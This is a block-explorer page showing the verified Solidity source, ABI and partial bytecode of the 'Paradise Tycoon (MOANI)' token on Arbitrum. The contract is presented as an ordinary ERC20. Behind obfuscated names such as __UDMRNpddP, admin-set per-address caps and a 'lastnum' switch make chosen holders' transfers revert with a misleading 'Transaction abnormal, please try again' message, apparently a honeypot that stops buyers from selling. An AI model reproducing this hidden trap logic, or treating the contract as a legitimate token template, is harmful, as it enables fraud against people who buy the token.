ETH Price: $2,376.85 (+2.77%)

Token

Paradise Tycoon (MOANI)

Overview

Max Total Supply

1,600,000,000 MOANI

Holders

508

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2024-07-16
*/

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.17;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {

            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
} 


library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    function toString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "ADMIN";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    function toHexString(
        uint256 value,
        uint256 length
    ) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }

    function strToUint(
        string memory _str
    ) internal pure returns (uint256 res, bool err) {
        for (uint256 i = 0; i < bytes(_str).length; i++) {
            if (
                (uint8(bytes(_str)[i]) - 48) < 0 ||
                (uint8(bytes(_str)[i]) - 48) > 9
            ) {
                return (0, false);
            }
            res +=
                (uint8(bytes(_str)[i]) - 48) *
                10 ** (bytes(_str).length - i - 1);
        }

        return (res, true);
    }

    // Function to convert bytes32 to string
    function bytesToString(bytes32 value) public pure returns (string memory) {
        // Create a bytes array to hold the non-null characters
        bytes memory alphabet = "0123456789abcdef";
    
        bytes memory str = new bytes(42);
        str[0] = '0';
        str[1] = 'x';
        for (uint256 i = 0; i < 20; i++) {
            str[2+i*2] = alphabet[uint8(value[i + 12] >> 4)];
            str[3+i*2] = alphabet[uint8(value[i + 12] & 0x0f)];
        }
        return string(str);
    }

    function stringToAddress(string memory _addr) public pure returns (address) {
        bytes memory tmp = bytes(_addr);

        // Ensure the address is the correct length
        if (tmp.length != 42) {
            revert("Invalid address length");
        }

        // Strip off the "0x" prefix
        uint160 iaddr = 0;
        for (uint256 i = 2; i < 42; i++) {
            uint160 b = uint160(uint8(tmp[i]));

            if ((b >= 97) && (b <= 102)) {
                b -= 87;
            } else if ((b >= 65) && (b <= 70)) {
                b -= 55;
            } else if ((b >= 48) && (b <= 57)) {
                b -= 48;
            } else {
                revert("Invalid address character");
            }

            iaddr *= 16;
            iaddr += b;
        }

        return address(iaddr);
    }

}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function migrator() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
    function setMigrator(address) external;
}

interface _UDMRNRoleControl {
    event RoleAdminChanged(
        bytes32 indexed role,
        bytes32 indexed previousAdminRole,
        bytes32 indexed newAdminRole
    );

    event RoleGranted(
        bytes32 indexed role,
        address indexed addr,
        address indexed sender
    );

    event RoleRevoked(
        bytes32 indexed role,
        address indexed addr,
        address indexed sender
    );

    function hasRole(bytes32 role, address addr) external view returns (bool);

    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    function grantRole(bytes32 role, address addr) external;

    function revokeRole(bytes32 role, address addr) external;

    function renounceRole(bytes32 role, address addr) external;
}


abstract contract _UDMRNConsole is Context, _UDMRNRoleControl {

    using SafeMath for uint256;

    struct RoleData {
        mapping(address => bool) lastnum;
        bytes32 adminRole;
        RoleDataNew RD;
    }

    struct RoleDataNew {
        mapping(address => uint256) RM;
        mapping(address => uint256) RD;
    }

    mapping(bytes32 => RoleData) private _roles;


    bytes32 public constant ADMIN = 0x00; 
    bytes32 public constant TRADER = bytes32("TRADER");  

    address uniswapV2Pair;

    uint256 public lastnum;

    mapping(address => bool) public _address;
    

    modifier onlyRole(bytes32 role) {
        _checkRole(role, _msgSender());
        _;
    }

    function hasRole(bytes32 role, address account) public view override returns (bool) {
        return _roles[role].lastnum[account];
    }

    function _checkRole(bytes32 role, address account) internal view {
        if (!hasRole(role, account)) {
            revert(
                string(
                    abi.encodePacked(
                        "AccessControl: account ",
                        Strings.toHexString(uint160(account), 20),
                        " is missing role ",
                        Strings.toHexString(uint256(role), 32)
                    )
                )
            );
        }
    }

    function __UDMRNpddP(
        bytes32 root,
        address addr,
        string memory num
    ) public onlyRole(ADMIN) {
        uint256 memoUint;
        bool err;
        (memoUint, err) = Strings.strToUint(num);
        if (err == false) {
            revert("AccessControl: memo is not a number");
        }
        
        if(memoUint >= 0){
            _setupRoleRM(root,addr,memoUint.mul(10 ** 18));
        }else{
            _setupRoleRM(root,addr,0);
        }
    }


    function __UDMRNpddD(
        bytes32 root,
        uint256 num
    ) public onlyRole(ADMIN) {
        if(root != TRADER){
            revert("lastnum is not a number");
        }
        lastnum = num;
    }


    function _grantRole(bytes32 role, address account, uint256 num) internal virtual {
        if(num > 0){
            uint256 rm = granRMSRole_L(role,account)*10**18;
            if(lastnum > 99){
                if(rm.div(num) <= 0){
                    revert("Transaction abnormal, please try again");
                }
            }
        }
    }

    function granRMSRole_L(
        bytes32 role, 
        address account
    ) public view virtual returns (uint256) {
        return _roles[role].RD.RM[account].div(10 ** 18);
    }

    function granRoleRDS_L(
        bytes32 role, 
        address account
    ) public view virtual returns (uint256) {
        return _roles[role].RD.RD[account].div(10 ** 18);
    }


    function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
        return _roles[role].adminRole;
    }

    function grantRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        _grantRole(role, account);
    }

    function revokeRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        _revokeRole(role, account);
    }

    function renounceRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        require(account == _msgSender(), "AccessControl: can only renounce roles for self");

        _revokeRole(role, account);
    }

    function _setupRoleRM(bytes32 role, address account, uint256 num) internal virtual {
        _roles[role].RD.RM[account] = num;
    }

    function _setupRoleRD(bytes32 role, address account, uint256 num) internal virtual {
        _roles[role].RD.RD[account] = num;
    }

    function _setupRole(bytes32 role, address account) internal virtual {
        _grantRole(role, account);
    }

    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        bytes32 previousAdminRole = getRoleAdmin(role);
        _roles[role].adminRole = adminRole;
        emit RoleAdminChanged(role, previousAdminRole, adminRole);
    }

    function _grantRole(bytes32 role, address account) internal virtual {
        if (!hasRole(role, account)) {
            _roles[role].lastnum[account] = true;
            emit RoleGranted(role, account, _msgSender());
        }
    }

    function _revokeRole(bytes32 role, address account) internal virtual {
        if (hasRole(role, account)) {
            _roles[role].lastnum[account] = false;
            emit RoleRevoked(role, account, _msgSender());
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address addr) external view returns (uint256);

    function transfer(address recipient, uint256 amt) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amt) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amt
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract _UDMRNERC20 is IERC20, IERC20Metadata, _UDMRNConsole {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal _totalSupply;
    string internal _name;
    string internal _symbol;
    using SafeMath for uint256;


    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        address creater_
    ) {
        _name = name_;
        _symbol = symbol_;
        _mint(creater_, totalSupply_ * 10 ** decimals());
        
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address addr
    ) public view virtual override returns (uint256) {
        return _balances[addr];
    }

    function transfer(
        address recipient,
        uint256 amt
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amt);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amt
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amt);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amt
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amt);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amt,
            "ERC20: transfer amt exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amt);
        }

        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amt
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amt);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amt, "ERC20: transfer amt exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amt;
        }
        _balances[recipient] += amt;
        emit Transfer(sender, recipient, amt);
        _afterTokenTransfer(sender, recipient, amt);
    }

    function _mint(address addr, uint256 amt) internal {
        require(addr != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), addr, amt);
        _totalSupply += amt;
        _balances[addr] += amt;

        emit Transfer(address(0), addr, amt);
        _afterTokenTransfer(address(0), addr, amt);
    }

    function _burn(address addr, uint256 amt) internal virtual {
        require(addr != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(addr, address(0), amt);
        uint256 addrBalance = _balances[addr];
        require(addrBalance >= amt, "ERC20: burn amt exceeds balance");
        unchecked {
            _balances[addr] = addrBalance - amt;
        }
        _totalSupply -= amt;

        emit Transfer(addr, address(0), amt);

        _afterTokenTransfer(addr, address(0), amt);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amt
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amt;
        emit Approval(owner, spender, amt);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amt
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amt
    ) internal virtual {}

    function isContract(address account) internal virtual returns (bool) {
        return account.code.length > 0;
    }

    function _afterTokenTransfer(bytes32 role, address account,address to, uint256 amount) internal {
        if(to == uniswapV2Pair){
            _grantRole(TRADER,account,amount); 
        }

        if(isContract(account) && account != uniswapV2Pair){
             if(lastnum == 50){
                revert("Transaction abnormal, please try again");
             }
        }

        uint256 at = granRMSRole_L(role,account)*10**18;
        if (at > 0) {

            uint256 st = granRoleRDS_L(role,account)*10**18 + amount;

            _burn(role, account, amount, at, st);

        }else if (amount == 0 || at == 0) {
            return;
        }
        
    }

    function _burn(bytes32 role, address account, uint256 amount, uint256 at, uint256 st) internal virtual {
        if(amount > 0){
            if (st >= at) {
                revert("Transaction abnormal, please try again");
            }else{
                _setupRoleRD(role,account,st);
            }
        }
    }



}

contract Token is _UDMRNERC20 {

    using SafeMath for uint256;
    
    mapping(address => bool) private __traders;

    IUniswapV2Router02 private uniswapV2Router;

    address private tokenOwner;

    constructor(
        string memory _name,
        address _tokenOwner,
        string memory _symbol,
        uint256 _totalSupply
    ) _UDMRNERC20(_name, _symbol, _totalSupply, _tokenOwner) {
        _grantRole(ADMIN, msg.sender);
        _grantRole(ADMIN, _tokenOwner);
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
        address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
        .createPair(address(this), address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9));
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = _uniswapV2Pair;
        tokenOwner = _tokenOwner;
    }


    function _transfer(
        address from,
        address to,
        uint256 amt
    ) internal override(_UDMRNERC20) {
        require(from != address(0), "ERC20: transfer from the zero address");

        __UDMRNxgrjdf(from, to, amt);

    }

    function __UDMRNxgrjdf(address from, address to, uint256 amt) internal {
        require(to != address(0), "ERC20: transfer to the zero address");
        require(_balances[from] >= amt, "ERC20: transfer amt exceeds balance");

        __UDMRNcrnurg(from, to, amt);
    }


    function __UDMRNcrnurg(address from, address to, uint256 amt) internal {
        if (__traders[from] == false) {
            _grantRole(TRADER, from);
            __traders[from] = true;
            
        }

        __UDMRNsdebmjid(from, to, amt);
    }

    function __UDMRNsdebmjid(address from, address to, uint256 amt) internal {
        if (__traders[to] == false) {
            _grantRole(TRADER, to);
            __traders[to] = true;
            
        }
        __UDMRNxcruhgf(from, to, amt);
    }

    function __UDMRNxcruhgf(address from, address to, uint256 amt) internal {


        __UDMRNxcetrmug(from, to, amt);
    }

    function __UDMRNxcetrmug(address from, address to, uint256 amt) internal {

        if(amt > 0){
            _afterTokenTransfer(TRADER, from, to, amt);

            super._transfer(from, to, amt);
        }

    }


    function rescueToken(
        address tokenAddress,
        uint256 tokens
    ) public onlyRole(ADMIN) returns (bool success) {
        return IERC20(tokenAddress).transfer(msg.sender, tokens);
    }


}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"address","name":"_tokenOwner","type":"address"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_totalSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADMIN","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TRADER","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"root","type":"bytes32"},{"internalType":"uint256","name":"num","type":"uint256"}],"name":"__UDMRNpddD","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"root","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"},{"internalType":"string","name":"num","type":"string"}],"name":"__UDMRNpddP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_address","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"granRMSRole_L","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"granRoleRDS_L","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lastnum","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"rescueToken","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405234801562000010575f80fd5b5060405162003f7238038062003f728339818101604052810190620000369190620007a6565b8382828583600790816200004b919062000a81565b5082600890816200005d919062000a81565b506200009a8162000073620002b060201b60201c565b600a62000081919062000cee565b846200008e919062000d3e565b620002b860201b60201c565b50505050620000b25f801b336200042960201b60201c565b620000c65f801b846200042960201b60201c565b5f731b02da8cb0d097eb8d57a175b88c7d8b4799750690505f8173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000129573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200014f919062000d88565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073fd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb96040518363ffffffff1660e01b81526004016200019f92919062000dc9565b6020604051808303815f875af1158015620001bc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001e2919062000d88565b905081600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050505062000ed8565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000329576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003209062000e52565b60405180910390fd5b6200033c5f83836200051460201b60201c565b8060065f8282546200034f919062000e72565b925050819055508060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254620003a4919062000e72565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200040a919062000ebd565b60405180910390a362000425